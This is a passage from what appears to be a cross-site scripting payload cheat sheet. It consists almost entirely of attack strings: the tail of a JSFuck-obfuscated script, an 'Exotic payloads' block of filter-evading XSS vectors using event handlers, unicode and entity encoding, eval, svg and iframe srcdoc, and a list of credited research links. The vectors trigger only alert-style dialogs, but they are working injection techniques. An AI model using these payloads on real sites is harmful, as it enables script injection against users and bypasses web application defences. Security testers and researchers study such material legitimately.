+ [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( [ ] [ [ ] ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( [ ] [ [ ] ] + [ ] ) [ + [ ] ] + ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ [ + ! + [ ] ] + [ ! + [ ] + ! + [ ] + ! + [ ] + ! + [ ] + ! + [ ] ] ] ) ( ) < / script >
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```
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Exotic payloads
```
< img src = 1 alt = al lang = ert onerror = top[alt+lang](0) >
< script > $ = 1 , alert ( $ ) < / script >
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< script ~ ~ ~ > c o n f i r m ( 1 ) < / s c r i p t ~ ~ ~ >
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< script > $ = 1 , \u0061 lert ( $ )</ script >
<< /script/script>< script > eval ( ' \\u' + '0061' + 'lert(1)' ) / / </ script >
<< /script/script>< script ~~~ > \u0061lert(1)</script ~~~>
< / style > < / scRipt > < scRipt > alert ( 1 ) < / scRipt >
< img / id = "alert('XSS') \"/alt= \"/ \"src= \"/ \"onerror=eval(id) >
< img src = x:prompt(eval(alt)) onerror = eval(src) alt = String.fromCharCode(88,83,83) >
< svg > < x > < script > a l e r t & # 4 0 ; & # 3 9 ; 1 & # 3 9 ; & # 4 1 < / x >
< iframe src = "" / srcdoc = '<svg onload=alert(1)>' >
```
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## Thanks to
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* https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
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* tbm
* http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html
* http://www.thespanner.co.uk/2014/03/21/rpo/
* http://blog.innerht.ml/rpo-gadgets/
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* http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite
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* http://d3adend.org/xss/ghettoBypass
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* http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
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* http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html